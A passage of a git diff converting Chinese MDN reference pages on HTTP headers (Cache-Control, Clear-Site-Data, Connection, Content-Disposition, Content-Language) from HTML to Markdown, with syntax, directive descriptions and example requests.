     Cache-control: proxy-revalidate
    -Cache-Control: max-age=<seconds>
    -Cache-control: s-maxage=<seconds>
    -
    +Cache-Control: max-age= +Cache-control: s-maxage= +``` -

    扩展Cache-Control指令

    +### 扩展`Cache-Control`指令 -

    拓展缓存指令不是核心 HTTP 缓存标准文档的一部分,使用前请注意检查兼容性

    +拓展缓存指令不是核心 HTTP 缓存标准文档的一部分,使用前请注意检查[兼容性](#浏览器兼容性)! -
    Cache-control: immutable
    -Cache-control: stale-while-revalidate=<seconds>
    -Cache-control: stale-if-error=<seconds>
    -
    +```plain +Cache-control: immutable +Cache-control: stale-while-revalidate= +Cache-control: stale-if-error= +``` -

    指令

    +## 指令 -

    可缓存性

    +### 可缓存性 -
    -
    public
    -
    表明响应可以被任何对象(包括:发送请求的客户端,代理服务器,等等)缓存,即使是通常不可缓存的内容。(例如:1.该响应没有max-age指令或Expires消息头;2. 该响应对应的请求方法是 POST 。)
    -
    private
    -
    表明响应只能被单个用户缓存,不能作为共享缓存(即代理服务器不能缓存它)。私有缓存可以缓存响应内容,比如:对应用户的本地浏览器。
    -
    no-cache
    -
    在发布缓存副本之前,强制要求缓存把请求提交给原始服务器进行验证 (协商缓存验证)。
    -
    no-store
    -
    缓存不应存储有关客户端请求或服务器响应的任何内容,即不使用任何缓存。
    -
    +- `public` + - : 表明响应可以被任何对象(包括:发送请求的客户端,代理服务器,等等)缓存,即使是通常不可缓存的内容。(例如:1.该响应没有`max-age`指令或`Expires`消息头;2. 该响应对应的请求方法是 [POST](/zh-CN/docs/Web/HTTP/Methods/POST) 。) +- `private` + - : 表明响应只能被单个用户缓存,不能作为共享缓存(即代理服务器不能缓存它)。私有缓存可以缓存响应内容,比如:对应用户的本地浏览器。 +- `no-cache` + - : 在发布缓存副本之前,强制要求缓存把请求提交给原始服务器进行验证 (协商缓存验证)。 +- `no-store` + - : 缓存不应存储有关客户端请求或服务器响应的任何内容,即不使用任何缓存。 -

    到期

    +### 到期 -
    -
    max-age=<seconds>
    -
    设置缓存存储的最大周期,超过这个时间缓存被认为过期 (单位秒)。与Expires相反,时间是相对于请求的时间。
    -
    s-maxage=<seconds>
    -
    覆盖max-age或者Expires头,但是仅适用于共享缓存 (比如各个代理),私有缓存会忽略它。
    -
    max-stale[=<seconds>]
    -
    表明客户端愿意接收一个已经过期的资源。可以设置一个可选的秒数,表示响应不能已经过时超过该给定的时间。
    -
    min-fresh=<seconds>
    -
    表示客户端希望获取一个能在指定的秒数内保持其最新状态的响应。
    -
    stale-while-revalidate=<seconds> {{experimental_inline}}
    -
    表明客户端愿意接受陈旧的响应,同时在后台异步检查新的响应。秒值指示客户愿意接受陈旧响应的时间长度。
    -
    stale-if-error=<seconds> {{experimental_inline}}
    -
    表示如果新的检查失败,则客户愿意接受陈旧的响应。秒数值表示客户在初始到期后愿意接受陈旧响应的时间。
    -
    +- `max-age=` + - : 设置缓存存储的最大周期,超过这个时间缓存被认为过期 (单位秒)。与`Expires`相反,时间是相对于请求的时间。 +- `s-maxage=` + - : 覆盖`max-age`或者`Expires`头,但是仅适用于共享缓存 (比如各个代理),私有缓存会忽略它。 +- `max-stale[=]` + - : 表明客户端愿意接收一个已经过期的资源。可以设置一个可选的秒数,表示响应不能已经过时超过该给定的时间。 +- `min-fresh=` + - : 表示客户端希望获取一个能在指定的秒数内保持其最新状态的响应。 +- `stale-while-revalidate=` {{experimental_inline}} + - : 表明客户端愿意接受陈旧的响应,同时在后台异步检查新的响应。秒值指示客户愿意接受陈旧响应的时间长度。 +- `stale-if-error=` {{experimental_inline}} + - : 表示如果新的检查失败,则客户愿意接受陈旧的响应。秒数值表示客户在初始到期后愿意接受陈旧响应的时间。 -

    重新验证和重新加载

    +### 重新验证和重新加载 -
    -
    must-revalidate
    -
    一旦资源过期(比如已经超过max-age),在成功向原始服务器验证之前,缓存不能用该资源响应后续请求。
    -
    proxy-revalidate
    -
    与 must-revalidate 作用相同,但它仅适用于共享缓存(例如代理),并被私有缓存忽略。
    -
    immutable {{experimental_inline}}
    -
    表示响应正文不会随时间而改变。资源(如果未过期)在服务器上不发生改变,因此客户端不应发送重新验证请求头(例如If-None-Match或 If-Modified-Since)来检查更新,即使用户显式地刷新页面。在 Firefox 中,immutable 只能被用在 https:// transactions. 有关更多信息,请参阅这里
    -
    +- `must-revalidate` + - : 一旦资源过期(比如已经超过`max-age`),在成功向原始服务器验证之前,缓存不能用该资源响应后续请求。 +- `proxy-revalidate` + - : 与 must-revalidate 作用相同,但它仅适用于共享缓存(例如代理),并被私有缓存忽略。 +- `immutable` {{experimental_inline}} + - : 表示响应正文不会随时间而改变。资源(如果未过期)在服务器上不发生改变,因此客户端不应发送重新验证请求头(例如`If-None-Match`或 I`f-Modified-Since`)来检查更新,即使用户显式地刷新页面。在 Firefox 中,immutable 只能被用在 `https://` transactions. 有关更多信息,请参阅[这里](http://bitsup.blogspot.de/2016/05/cache-control-immutable.html)。 -

    其他

    +### 其他 -
    -
    no-transform
    -
    不得对资源进行转换或转变。Content-EncodingContent-RangeContent-Type等 HTTP 头不能由代理修改。例如,非透明代理或者如Google's Light Mode可能对图像格式进行转换,以便节省缓存空间或者减少缓慢链路上的流量。no-transform指令不允许这样做。
    -
    only-if-cached
    -
    表明客户端只接受已缓存的响应,并且不要向原始服务器检查是否有更新的拷贝。
    -
    +- `no-transform` + - : 不得对资源进行转换或转变。`Content-Encoding`、`Content-Range`、`Content-Type`等 HTTP 头不能由代理修改。例如,非透明代理或者如[Google's Light Mode](https://support.google.com/webmasters/answer/6211428?hl=en)可能对图像格式进行转换,以便节省缓存空间或者减少缓慢链路上的流量。`no-transform`指令不允许这样做。 +- `only-if-cached` + - : 表明客户端只接受已缓存的响应,并且不要向原始服务器检查是否有更新的拷贝。 -

    示例

    +## 示例 -

    禁止缓存

    +### 禁止缓存 -

    发送如下响应头可以关闭缓存。此外,可以参考ExpiresPragma消息头。

    +发送如下响应头可以关闭缓存。此外,可以参考`Expires`和`Pragma`消息头。 -
    Cache-Control: no-store
    -
    +```plain +Cache-Control: no-store +``` -

    缓存静态资源

    +### 缓存静态资源 -

    对于应用程序中不会改变的文件,你通常可以在发送响应头前添加积极缓存。这包括例如由应用程序提供的静态文件,例如图像,CSS 文件和 JavaScript 文件。另请参阅 Expires 标题。

    +对于应用程序中不会改变的文件,你通常可以在发送响应头前添加积极缓存。这包括例如由应用程序提供的静态文件,例如图像,CSS 文件和 JavaScript 文件。另请参阅 Expires 标题。 -
    Cache-Control:public, max-age=31536000
    +```plain +Cache-Control:public, max-age=31536000 +``` -

    需要重新验证

    +### 需要重新验证 -

    指定 no-cachemax-age=0, must-revalidate 表示客户端可以缓存资源,每次使用缓存资源前都必须重新验证其有效性。这意味着每次都会发起 HTTP 请求,但当缓存内容仍有效时可以跳过 HTTP 响应体的下载。

    +指定 `no-cache` 或 `max-age=0, must-revalidate` 表示客户端可以缓存资源,每次使用缓存资源前都必须重新验证其有效性。这意味着每次都会发起 HTTP 请求,但当缓存内容仍有效时可以跳过 HTTP 响应体的下载。 -
    Cache-Control: no-cache
    +```http +Cache-Control: no-cache +``` -
    Cache-Control: max-age=0, must-revalidate
    +```http +Cache-Control: max-age=0, must-revalidate +``` -

    注意: 如果服务器关闭或失去连接,下面的指令可能会造成使用缓存。

    +**注意**: 如果服务器关闭或失去连接,下面的指令可能会造成使用缓存。 -
    Cache-Control: max-age=0
    +```http +Cache-Control: max-age=0 +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    参见

    +## 参见 - +- [HTTP Caching FAQ](/zh-CN/docs/Web/HTTP/Caching) +- [Caching Tutorial for Web Authors and Webmasters](https://www.mnot.net/cache_docs/) +- Guide: _[`Cache-Control` for civilians](https://csswizardry.com/2019/03/cache-control-for-civilians)_ +- {{HTTPHeader("Age")}} +- {{HTTPHeader("Expires")}} +- {{HTTPHeader("Pragma")}} diff --git a/files/zh-cn/web/http/headers/clear-site-data/index.md b/files/zh-cn/web/http/headers/clear-site-data/index.md index 972842e178dc75..984fd6b117bd06 100644 --- a/files/zh-cn/web/http/headers/clear-site-data/index.md +++ b/files/zh-cn/web/http/headers/clear-site-data/index.md @@ -7,28 +7,20 @@ tags: - 头 translation_of: Web/HTTP/Headers/Clear-Site-Data --- -

    {{HTTPSidebar}}

    +{{HTTPSidebar}} -

    Clear-Site-Data 响应头,表示清除当前请求网站有关的浏览器数据(cookie,存储,缓存)。它让 Web 开发人员对浏览器本地存储的数据有更多控制能力。

    +**`Clear-Site-Data`** 响应头,表示清除当前请求网站有关的浏览器数据(cookie,存储,缓存)。它让 Web 开发人员对浏览器本地存储的数据有更多控制能力。 - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -

    Clear-Site-Data 可以接受一个或多个参数,如果想要清除所有类型的数据,可以使用通配符 ("*")

    +`Clear-Site-Data` 可以接受一个或多个参数,如果想要清除所有类型的数据,可以使用通配符 (`"*"`) -
    // 单个参数
    +```plain
    +// 单个参数
     Clear-Site-Data: "cache"
     
     // 多个参数 (用逗号分隔)
    @@ -36,60 +28,56 @@ Clear-Site-Data: "cache", "cookies"
     
     // 通配
     Clear-Site-Data: "*"
    -
    +``` -

    指令

    +## 指令 -
    -
    "cache"
    -
    表示服务端希望删除本 URL 原始响应的本地缓存数据(即 :浏览器缓存,请参阅 HTTP 缓存)。根据浏览器的不同,可能还会清除预渲染页面,脚本缓存,WebGL 着色器缓存或地址栏建议等内容。
    -
    "cookies"
    -
    表示服务端希望删除 URL 响应的所有 cookie。 HTTP 身份验证凭据也会被清除。会影响整个主域,包括子域。所以 https://example.com 以及 https://stage.example.com 的 Cookie 都会被清除。
    -
    "storage"
    -
    表示服务端希望删除 URL 原响应的所有 DOM 存储。这包括存储机制,如 -
      -
    • localStorage (执行 localStorage.clear),
    • -
    • sessionStorage (执行 sessionStorage.clear),
    • -
    • IndexedDB (对每个库执行 {{domxref("IDBFactory.deleteDatabase")}}),
    • -
    • 服务注册线程 (对每个服务之注册线程执行 {{domxref("ServiceWorkerRegistration.unregister")}}),
    • -
    • AppCache,
    • -
    • WebSQL 数据库,
    • -
    • FileSystem API data,
    • -
    • Plugin data (Flash via NPP_ClearSiteData).
    • -
    -
    -
    "executionContexts"
    -
    表示服务端希望浏览器重新加载本请求 ({{domxref("Location.reload")}}).
    -
    "*" (通配符)
    -
    表示服务端希望清除原请求响应的所有类型的数据。如果在此头的未来版本中添加了更多数据类型,它们也将被涉及。
    -
    +- `"cache"` + - : 表示服务端希望删除本 URL 原始响应的本地缓存数据(即 :浏览器缓存,[请参阅 HTTP 缓存](/zh-CN/docs/))。根据浏览器的不同,可能还会清除预渲染页面,脚本缓存,WebGL 着色器缓存或地址栏建议等内容。 +- `"cookies"` + - : 表示服务端希望删除 URL 响应的所有 cookie。 HTTP 身份验证凭据也会被清除。会影响整个主域,包括子域。所以 https\://example.com 以及 https\://stage.example.com 的 Cookie 都会被清除。 +- `"storage"` + - : 表示服务端希望删除 URL 原响应的所有 DOM 存储。这包括存储机制,如 -

    示例

    + - localStorage (执行 `localStorage.clear`), + - sessionStorage (执行 `sessionStorage.clear`), + - IndexedDB (对每个库执行 {{domxref("IDBFactory.deleteDatabase")}}), + - 服务注册线程 (对每个服务之注册线程执行 {{domxref("ServiceWorkerRegistration.unregister")}}), + - [AppCache,](/zh-CN/docs/Web/HTML/Using_the_application_cache) + - WebSQL 数据库, + - [FileSystem API data](/zh-CN/docs/Web/API/File_and_Directory_Entries_API), + - Plugin data (Flash via [`NPP_ClearSiteData`](https://wiki.mozilla.org/NPAPI:ClearSiteData)). +- `"executionContexts"` + - : 表示服务端希望浏览器重新加载本请求 ({{domxref("Location.reload")}}). +- `"*"` (通配符) + - : 表示服务端希望清除原请求响应的所有类型的数据。如果在此头的未来版本中添加了更多数据类型,它们也将被涉及。 -

    登出

    +## 示例 -

    如果用户退出您的网站或服务,您可能希望删除本地存储的数据。您可以通过在 https://example.com/logout 的响应头增加 Clear-Site-Data,以达到目的:

    +### 登出 -
    Clear-Site-Data: "cache", "cookies", "storage", "executionContexts"
    +如果用户退出您的网站或服务,您可能希望删除本地存储的数据。您可以通过在 https\://example.com/logout 的响应头增加 Clear-Site-Data,以达到目的: -

    清除 cookie

    +```plain +Clear-Site-Data: "cache", "cookies", "storage", "executionContexts" +``` -

    如果它在 https://example.com/clear-cookies 的响应头中出现,则同一域 https://example.com 和所有子域(如 https://stage.example.com 等)中的所有 Cookie,将都被清除。

    +### 清除 cookie -
    Clear-Site-Data: "cookies"
    +如果它在 https\://example.com/clear-cookies 的响应头中出现,则同一域 https\://example.com 和所有子域(如 https\://stage.example.com 等)中的所有 Cookie,将都被清除。 -

    规范

    +```plain +Clear-Site-Data: "cookies" +``` -{{Specifications}} - -

    浏览器兼容性

    +## 规范 +{{Specifications}} +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    参见

    +## 参见 -
      -
    • {{HTTPHeader("Cache-Control")}}
    • -
    +- {{HTTPHeader("Cache-Control")}} diff --git a/files/zh-cn/web/http/headers/connection/index.md b/files/zh-cn/web/http/headers/connection/index.md index ff5b53b1e5cc1e..d203c71652689d 100644 --- a/files/zh-cn/web/http/headers/connection/index.md +++ b/files/zh-cn/web/http/headers/connection/index.md @@ -8,44 +8,32 @@ tags: - 头部 translation_of: Web/HTTP/Headers/Connection --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    Connection 头(header) 决定当前的事务完成后,是否会关闭网络连接。如果该值是“keep-alive”,网络连接就是持久的,不会关闭,使得对同一个服务器的请求可以继续在该连接上完成。

    +**Connection** 头(header) 决定当前的事务完成后,是否会关闭网络连接。如果该值是“keep-alive”,网络连接就是持久的,不会关闭,使得对同一个服务器的请求可以继续在该连接上完成。 - +> **备注:** [特定于连接的标头字段(例如 Connection)不得与 HTTP/2 一起使用。](https://tools.ietf.org/html/rfc7540#section-8.1.2.2) -

    除去标准的逐段传输(hop-by-hop)头({{HTTPHeader("Keep-Alive")}}, {{HTTPHeader("Transfer-Encoding")}}, {{HTTPHeader("TE")}}, {{HTTPHeader("Connection")}}, {{HTTPHeader("Trailer")}}, {{HTTPHeader("Upgrade")}}, {{HTTPHeader("Proxy-Authorization")}} and {{HTTPHeader("Proxy-Authenticate")}}),任何逐段传输头都需要在 Connection 头中列出,这样才能让第一个代理知道必须处理它们且不转发这些头。标准的逐段传输头也可以列出(常见的例子是 {{HTTPHeader("Keep-Alive")}},但这不是必须的)。

    +除去标准的逐段传输(hop-by-hop)头({{HTTPHeader("Keep-Alive")}}, {{HTTPHeader("Transfer-Encoding")}}, {{HTTPHeader("TE")}}, {{HTTPHeader("Connection")}}, {{HTTPHeader("Trailer")}}, {{HTTPHeader("Upgrade")}}, {{HTTPHeader("Proxy-Authorization")}} and {{HTTPHeader("Proxy-Authenticate")}}),任何逐段传输头都需要在 Connection 头中列出,这样才能让第一个代理知道必须处理它们且不转发这些头。标准的逐段传输头也可以列出(常见的例子是 {{HTTPHeader("Keep-Alive")}},但这不是必须的)。 - - - - - - - - - - - -
    Header type{{Glossary("General header")}}
    {{Glossary("Forbidden header name")}}yes
    +| Header type | {{Glossary("General header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | yes | -

    语法

    +## 语法 -
    Connection: keep-alive
    +```plain
    +Connection: keep-alive
     Connection: close
    -
    +``` -

    指令

    +## 指令 -
    -
    close
    -
    表明客户端或服务器想要关闭该网络连接,这是 HTTP/1.0 请求的默认值
    -
    以逗号分隔的 HTTP 头 [通常仅有 keep-alive]
    -
    表明客户端想要保持该网络连接打开,HTTP/1.1 的请求默认使用一个持久连接。这个请求头列表由头部名组成,这些头将被第一个非透明的代理或者代理间的缓存所移除:这些头定义了发出者和第一个实体之间的连接,而不是和目的地节点间的连接。
    -
    +- `close` + - : 表明客户端或服务器想要关闭该网络连接,这是 HTTP/1.0 请求的默认值 +- 以逗号分隔的 HTTP 头 \[通常仅有 `keep-alive`] + - : 表明客户端想要保持该网络连接打开,HTTP/1.1 的请求默认使用一个持久连接。这个请求头列表由头部名组成,这些头将被第一个非透明的代理或者代理间的缓存所移除:这些头定义了发出者和第一个实体之间的连接,而不是和目的地节点间的连接。 -

    浏览器兼容性

    +## 浏览器兼容性 -
    {{Compat("http.headers.Connection")}}
    +{{Compat("http.headers.Connection")}} diff --git a/files/zh-cn/web/http/headers/content-disposition/index.md b/files/zh-cn/web/http/headers/content-disposition/index.md index f515a3cf123620..02f66aeb685ee7 100644 --- a/files/zh-cn/web/http/headers/content-disposition/index.md +++ b/files/zh-cn/web/http/headers/content-disposition/index.md @@ -8,79 +8,66 @@ tags: - 首部 translation_of: Web/HTTP/Headers/Content-Disposition --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}}在常规的 HTTP 应答中,**`Content-Disposition`** 响应头指示回复的内容该以何种形式展示,是以**内联**的形式(即网页或者页面的一部分),还是以**附件**的形式下载并保存到本地。 -
    在常规的 HTTP 应答中,Content-Disposition 响应头指示回复的内容该以何种形式展示,是以内联的形式(即网页或者页面的一部分),还是以附件的形式下载并保存到本地。
    +在 multipart/form-data 类型的应答消息体中,**`Content-Disposition`** 消息头可以被用在 multipart 消息体的子部分中,用来给出其对应字段的相关信息。各个子部分由在{{HTTPHeader("Content-Type")}} 中定义的**分隔符**分隔。用在消息体自身则无实际意义。 +Content-Disposition 消息头最初是在 MIME 标准中定义的,HTTP 表单及 {{HTTPMethod("POST")}} 请求只用到了其所有参数的一个子集。只有 `form-data` 以及可选的 `name` 和 `filename` 三个参数可以应用在 HTTP 场景中。 +| Header type | {{Glossary("Response header")}} (for the main body) {{Glossary("General header")}} (for a subpart of a multipart body) | +| ------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    在 multipart/form-data 类型的应答消息体中,Content-Disposition 消息头可以被用在 multipart 消息体的子部分中,用来给出其对应字段的相关信息。各个子部分由在{{HTTPHeader("Content-Type")}} 中定义的分隔符分隔。用在消息体自身则无实际意义。

    +## 语法 -

    Content-Disposition 消息头最初是在 MIME 标准中定义的,HTTP 表单及 {{HTTPMethod("POST")}} 请求只用到了其所有参数的一个子集。只有 form-data 以及可选的 namefilename 三个参数可以应用在 HTTP 场景中。

    +### 作为消息主体中的消息头 - - - - - - - - - - - -
    Header type{{Glossary("Response header")}} (for the main body)
    - {{Glossary("General header")}} (for a subpart of a multipart body)
    {{Glossary("Forbidden header name")}}no
    +在 HTTP 场景中,第一个参数或者是 `inline`(默认值,表示回复中的消息体会以页面的一部分或者整个页面的形式展示),或者是 `attachment`(意味着消息体应该被下载到本地;大多数浏览器会呈现一个“保存为”的对话框,将 `filename` 的值预填为下载后的文件名,假如它存在的话)。 -

    语法

    - -

    作为消息主体中的消息头

    - -

    在 HTTP 场景中,第一个参数或者是 inline(默认值,表示回复中的消息体会以页面的一部分或者整个页面的形式展示),或者是 attachment(意味着消息体应该被下载到本地;大多数浏览器会呈现一个“保存为”的对话框,将 filename 的值预填为下载后的文件名,假如它存在的话)。

    - -
    Content-Disposition: inline
    +```plain
    +Content-Disposition: inline
     Content-Disposition: attachment
    -Content-Disposition: attachment; filename="filename.jpg"
    +Content-Disposition: attachment; filename="filename.jpg" +``` -

    作为 multipart body 中的消息头

    +### 作为 multipart body 中的消息头 -

    在 HTTP 场景中。第一个参数总是固定不变的 form-data;附加的参数不区分大小写,并且拥有参数值,参数名与参数值用等号 ('=') 连接,参数值用双引号括起来。参数之间用分号 (';') 分隔。

    +在 HTTP 场景中。第一个参数总是固定不变的 `form-data`;附加的参数不区分大小写,并且拥有参数值,参数名与参数值用等号 (`'='`) 连接,参数值用双引号括起来。参数之间用分号 (`';'`) 分隔。 -
    Content-Disposition: form-data
    +```plain
    +Content-Disposition: form-data
     Content-Disposition: form-data; name="fieldName"
    -Content-Disposition: form-data; name="fieldName"; filename="filename.jpg"
    +Content-Disposition: form-data; name="fieldName"; filename="filename.jpg" +``` -

    指令

    +### 指令 -
    -
    name
    -
    后面是一个表单字段名的字符串,每一个字段名会对应一个子部分。在同一个字段名对应多个文件的情况下(例如,带有 {{htmlattrxref("multiple", "input")}} 属性的 {{HTMLElement("input","<input type=file>")}} 元素),则多个子部分共用同一个字段名。如果 name 参数的值为 '_charset_' ,意味着这个子部分表示的不是一个 HTML 字段,而是在未明确指定字符集信息的情况下各部分使用的默认字符集。
    -
    filename
    -
    后面是要传送的文件的初始名称的字符串。这个参数总是可选的,而且不能盲目使用:路径信息必须舍掉,同时要进行一定的转换以符合服务器文件系统规则。这个参数主要用来提供展示性信息。当与 Content-Disposition: attachment 一同使用的时候,它被用作"保存为"对话框中呈现给用户的默认文件名。
    -
    filename*
    -
    -

    "filename" 和 "filename*" 两个参数的唯一区别在于,"filename*" 采用了 RFC 5987 中规定的编码方式。当 "filename" 和 "filename*" 同时出现的时候,应该优先采用 "filename*",假如二者都支持的话。

    -
    -
    +- `name` + - : 后面是一个表单字段名的字符串,每一个字段名会对应一个子部分。在同一个字段名对应多个文件的情况下(例如,带有 {{htmlattrxref("multiple", "input")}} 属性的 `{{HTMLElement("input","<input type=file>")}}` 元素),则多个子部分共用同一个字段名。如果 name 参数的值为 `'_charset_'` ,意味着这个子部分表示的不是一个 HTML 字段,而是在未明确指定字符集信息的情况下各部分使用的默认字符集。 +- `filename` + - : 后面是要传送的文件的初始名称的字符串。这个参数总是可选的,而且不能盲目使用:路径信息必须舍掉,同时要进行一定的转换以符合服务器文件系统规则。这个参数主要用来提供展示性信息。当与 `Content-Disposition: attachment` 一同使用的时候,它被用作"保存为"对话框中呈现给用户的默认文件名。 +- filename\* + - : "filename" 和 "filename\*" 两个参数的唯一区别在于,"filename\*" 采用了 [RFC 5987](https://tools.ietf.org/html/rfc5987) 中规定的编码方式。当 "filename" 和 "filename\*" 同时出现的时候,应该优先采用 "filename\*",假如二者都支持的话。 -

    示例

    +## 示例 -

    以下是一则可以触发"保存为"对话框的服务器应答:

    +以下是一则可以触发"保存为"对话框的服务器应答: -
    200 OK
    +```plain
    +200 OK
     Content-Type: text/html; charset=utf-8
     Content-Disposition: attachment; filename="cool.html"
     Content-Length: 22
     
    -<HTML>Save me!</HTML>
    -
    -
    +Save me! +``` -

    这个简单的 HTML 文件会被下载到本地而不是在浏览器中展示。大多数浏览器默认会建议将 cool.html 作为文件名。

    +这个简单的 HTML 文件会被下载到本地而不是在浏览器中展示。大多数浏览器默认会建议将 `cool.html` 作为文件名。 -

    以下是一个 HTML 表单的示例,展示了在 multipart/form-data 格式的报文中使用Content-Disposition 消息头的情况:

    +以下是一个 HTML 表单的示例,展示了在 `multipart/form-data` 格式的报文中使用`Content-Disposition` 消息头的情况: -
    POST /test.html HTTP/1.1
    +```plain
    +POST /test.html HTTP/1.1
     Host: example.org
     Content-Type: multipart/form-data;boundary="boundary"
     
    @@ -92,26 +79,23 @@ value1
     Content-Disposition: form-data; name="field2"; filename="example.txt"
     
     value2
    ---boundary--
    +--boundary-- +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    兼容性说明

    +## 兼容性说明 -
      -
    • filenamefilename* 两个参数同时出现的情况下,Firefox 5(比以前的版本)可以更好地处理 Content-Disposition 应答消息头。它会遍历所有提供的名称,假如 filename* 存在的话,就采用它的值,即使 filename 更靠前。之前的版本会采用出现在前面的参数的值,导致有更合适的名称而不被使用。参见{{bug(588781)}}.
    • -
    +- 在 `filename` 和 `filename*` 两个参数同时出现的情况下,Firefox 5(比以前的版本)可以更好地处理 `Content-Disposition` 应答消息头。它会遍历所有提供的名称,假如 `filename*` 存在的话,就采用它的值,即使 `filename` 更靠前。之前的版本会采用出现在前面的参数的值,导致有更合适的名称而不被使用。参见{{bug(588781)}}. -

    相关链接

    +## 相关链接 -
      -
    • HTML Forms
    • -
    • {{HTTPHeader("Content-Type")}} 中定义了 multipart body 的分隔符
    • -
    • {{domxref("FormData")}} 接口可以用来操作在 {{domxref("XMLHttpRequest")}} API 中使用的表单数据。
    • -
    +- [HTML Forms](/zh-CN/docs/Web/Guide/HTML/Forms) +- {{HTTPHeader("Content-Type")}} 中定义了 multipart body 的分隔符 +- {{domxref("FormData")}} 接口可以用来操作在 {{domxref("XMLHttpRequest")}} API 中使用的表单数据。 diff --git a/files/zh-cn/web/http/headers/content-language/index.md b/files/zh-cn/web/http/headers/content-language/index.md index 237ec0af28ab6f..a03c40a25ec974 100644 --- a/files/zh-cn/web/http/headers/content-language/index.md +++ b/files/zh-cn/web/http/headers/content-language/index.md @@ -6,85 +6,67 @@ tags: - 首部 translation_of: Web/HTTP/Headers/Content-Language --- -
    - -

    Content-Language 是一个 {{Glossary("entity header")}}(实体消息首部),用来说明访问者希望采用的语言或语言组合,这样的话用户就可以根据自己偏好的语言来定制不同的内容。

    - -

    举个例子,假如设置了这样一条消息首部( "Content-Language: de-DE" ),那么说明这份文件是为说德语的人提供的(当然这并不意味着文件本身就是用德语写的。比如,它可能是为说德语的人开设的英语教程的一部分,也就是用英语写的)。

    - -

    如果没有指明 Content-Language,那么默认地,文件内容是提供给所有语言的访问者使用的。多个语言标签也是合法的,同样的,这个首部还可以用来描述不同媒体类型的文件,而不单单局限于文本型文档。

    - - - - - - - - - - - - - - - - - - - - -
    Header type{{Glossary("Entity header")}}
    {{Glossary("Forbidden header name")}}no
    {{Glossary("Simple response header", "CORS-safelisted response-header")}}yes
    {{Glossary("Simple header", "CORS-safelisted request-header")}}yes
    - -

    语法

    - -
    Content-Language: de-DE
    +**`Content-Language`** 是一个 {{Glossary("entity header")}}(实体消息首部),用来说明访问者希望采用的语言或语言组合,这样的话用户就可以根据自己偏好的语言来定制不同的内容。
    +
    +举个例子,假如设置了这样一条消息首部( "`Content-Language: de-DE`" ),那么说明这份文件是为说德语的人提供的(当然这并不意味着文件本身就是用德语写的。比如,它可能是为说德语的人开设的英语教程的一部分,也就是用英语写的)。
    +
    +如果没有指明 `Content-Language`,那么默认地,文件内容是提供给所有语言的访问者使用的。多个语言标签也是合法的,同样的,这个首部还可以用来描述不同媒体类型的文件,而不单单局限于文本型文档。
    +
    +| Header type                                                                                      | {{Glossary("Entity header")}} |
    +| ------------------------------------------------------------------------------------------------ | ---------------------------------------- |
    +| {{Glossary("Forbidden header name")}}                                                 | no                                       |
    +| {{Glossary("Simple response header", "CORS-safelisted response-header")}} | yes                                      |
    +| {{Glossary("Simple header", "CORS-safelisted request-header")}}             | yes                                      |
    +
    +## 语法
    +
    +```plain
    +Content-Language: de-DE
     Content-Language: en-US
     Content-Language: de-DE, en-CA
    -
    +``` -

    指令

    +## 指令 -
    -
    language-tag
    -
    多个语言标签需要用逗号隔开。每一个语言标签都是由一个或多个不区分大小写的子标签构成的,子标签之间用连字号 ("-", %x2D) 隔开。通常情况下,一个语言标签是由标识一个大的语言家族的主语言子标签(例如"en" = English),以及后面可选的用来缩小语言范围使更确切的一系列子标签("en-CA" 表示在加拿大范围使用的英语的变种)构成的。
    -
    +- `language-tag` + - : 多个语言标签需要用逗号隔开。每一个语言标签都是由一个或多个不区分大小写的子标签构成的,子标签之间用连字号 ("-", %x2D) 隔开。通常情况下,一个语言标签是由标识一个大的语言家族的主语言子标签(例如"en" = English),以及后面可选的用来缩小语言范围使更确切的一系列子标签("en-CA" 表示在加拿大范围使用的英语的变种)构成的。 -
    -

    注意: 语言标签在 RFC 5646中被正式定义,它使用的语言代码依赖于 ISO 639 标准 (通常为 ISO 639-1 code list) 。

    -
    +> **备注:** 语言标签在 [RFC 5646](https://tools.ietf.org/html/rfc5646)中被正式定义,它使用的[语言代码](https://en.wikipedia.org/wiki/Language_code)依赖于 [ISO 639](https://en.wikipedia.org/wiki/ISO_639) 标准 (通常为 [ISO 639-1 code list](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes)) 。 -

    示例

    +## 示例 -

    声明文档的书写语言

    +### 声明文档的书写语言 -

    全局的 lang 属性使用在 HTML 元素去表达全部的 HTML文档或者部分的语言。

    +全局的 [`lang`](/en-US/docs/Web/HTML/Global_attributes/lang) 属性使用在 HTML 元素去表达全部的 [HTML](/zh-CN/docs/Web/HTML)文档或者部分的语言。 -
    <html lang="de">
    +```html + +``` -

    不要使用这个 meta 元素去声明文档语言:

    +不要使用这个 meta 元素去声明文档语言: -
    <!-- /!\ This is bad practice -->
    -<meta http-equiv="content-language" content="de">
    +```html example-bad + + +``` -

    为资源指定目标访问者

    +### 为资源指定目标访问者 -

    Content-Language 请求头用于指定页面的目标受众,并且可以指明当前页面存在多种语言。

    +`Content-Language` 请求头用于指定**页面的目标受众,**并且可以指明当前页面存在多种语言。 -
    Content-Language: de, en
    +```plain +Content-Language: de, en +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 - +- {{HTTPHeader("Accept-Language")}} +- [HTTP headers, meta elements and language information](https://www.w3.org/International/questions/qa-http-and-lang.en) diff --git a/files/zh-cn/web/http/headers/content-length/index.md b/files/zh-cn/web/http/headers/content-length/index.md index fd933d0ca0a7b9..6bf0a07b66e720 100644 --- a/files/zh-cn/web/http/headers/content-length/index.md +++ b/files/zh-cn/web/http/headers/content-length/index.md @@ -6,45 +6,33 @@ tags: - 首部 translation_of: Web/HTTP/Headers/Content-Length --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -
